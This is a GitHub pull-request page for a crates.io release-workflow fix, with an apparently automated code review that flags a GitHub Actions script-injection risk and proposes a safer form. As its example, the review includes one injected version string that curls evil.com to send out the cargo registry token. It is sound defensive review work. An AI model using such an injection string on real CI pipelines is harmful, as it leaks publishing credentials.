Skip to content

Fix crates release recovery#236

Merged
luckysori merged 1 commit into
masterfrom
fix/crates-release-retry
May 30, 2026
Merged

Fix crates release recovery#236
luckysori merged 1 commit into
masterfrom
fix/crates-release-retry

Conversation

@luckysori

Copy link
Copy Markdown
Collaborator

No description provided.

@luckysori luckysori self-assigned this May 30, 2026
@luckysori luckysori merged commit 8c0e8e3 into master May 30, 2026
6 checks passed
@coderabbitai

coderabbitai Bot commented May 30, 2026

Copy link
Copy Markdown

Warning

Review limit reached

@luckysori, we couldn't start this review because you've reached your PR review rate limit.

More reviews will be available in 15 minutes and 28 seconds. Learn how PR review limits work.

Your organization has run out of usage credits. Purchase more in the billing tab.

⌛ How to resolve this issue?

After more reviews become available, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

We recommend that you space out your commits to avoid hitting the rate limit.

🚦 How do rate limits work?

CodeRabbit enforces hourly rate limits for each developer per organization.

Our paid plans include higher PR review limits than trial, open-source, and free plans. In all cases, reviews become available again over time. During sustained high-volume PR review activity, CodeRabbit may temporarily slow when the next review becomes available.

Please see our Fair Usage Limits Policy for further information.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: be2fae87-6a51-4595-954c-13cd0657037d

📥 Commits

Reviewing files that changed from the base of the PR and between f480e2b and e535af3.

📒 Files selected for processing (1)
  • .github/workflows/create_release_crates.yml
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch fix/crates-release-retry

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@arkanaai arkanaai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Arkana Code Review — create_release_crates.yml

Scope: CI workflow only. No protocol-critical code (no VTXO, signing, forfeit, round, or exit path changes). No cross-repo API impact.

✅ What's good

  1. Idempotency logic is solid. The triple-check pattern (pre-publish check → cargo publish → post-failure check) correctly handles the race between cargo publish succeeding server-side but returning non-zero to the client. This was clearly the root cause of the recovery problem.

  2. Remote tag check (git ls-remote --exit-code --tags origin) is better than the old local-only git rev-parse — correctly handles re-runs where the local repo is fresh but the tag already exists on origin.

  3. User-Agent header on crates.io API calls — good practice, crates.io rate-limits or blocks requests without a UA.

  4. workflow_dispatch for manual recovery — clean design. The environment: release gate ensures only authorized users can trigger it.

⚠️ Medium: GitHub Actions script injection

File: .github/workflows/create_release_crates.yml, lines ~40-41

VERSION="${{ inputs.version }}"

and in run-name:

run-name: "Release ${{ github.event.pull_request.head.ref || inputs.version }}"

Direct interpolation of inputs.version into a run: shell block allows script injection. A collaborator with release environment access could input 0.0.1"; curl http://evil.com/$(cat $CARGO_REGISTRY_TOKEN); echo " as the version string — the shell would execute it before the regex validation check runs.

Mitigating factors: environment: release + repo write access limits the attack surface to trusted collaborators. The regex validation would catch it on the next line, but the damage is already done at interpolation time.

Recommended fix (non-blocking, since it's merged):

- name: Extract version from branch name
  id: v
  env:
    INPUT_VERSION: ${{ inputs.version }}
    BRANCH_NAME: ${{ github.event.pull_request.head.ref }}
  run: |
    set -euo pipefail
    if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then
      VERSION="$INPUT_VERSION"
    else
      VERSION="${BRANCH_NAME#release/crates-}"
    fi
    # ... rest unchanged

This passes the untrusted input via environment variable, which is not subject to shell interpretation.

Note: The same pattern exists in e2e-core.yml line 110 with ${{ inputs.arkd-version }} — consider fixing both.

ℹ️ Minor: Silent skip on tag mismatch

If the tag already exists on origin pointing to a different commit, the workflow silently skips. This is likely fine for recovery (where the tag from a partial run is correct), but consider logging the existing tag target for debuggability:

EXISTING=$(git ls-remote --tags origin "refs/tags/$TAG" | awk '{print $1}')
echo "Tag $TAG already exists on origin at $EXISTING (current HEAD: $TARGET)"

Verdict

LGTM. The core improvement (publish idempotency + manual recovery) is well-implemented and solves a real operational pain point. The script injection is worth a follow-up hardening PR but is low-risk given the environment protection.

🤖 Reviewed by Arkana

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant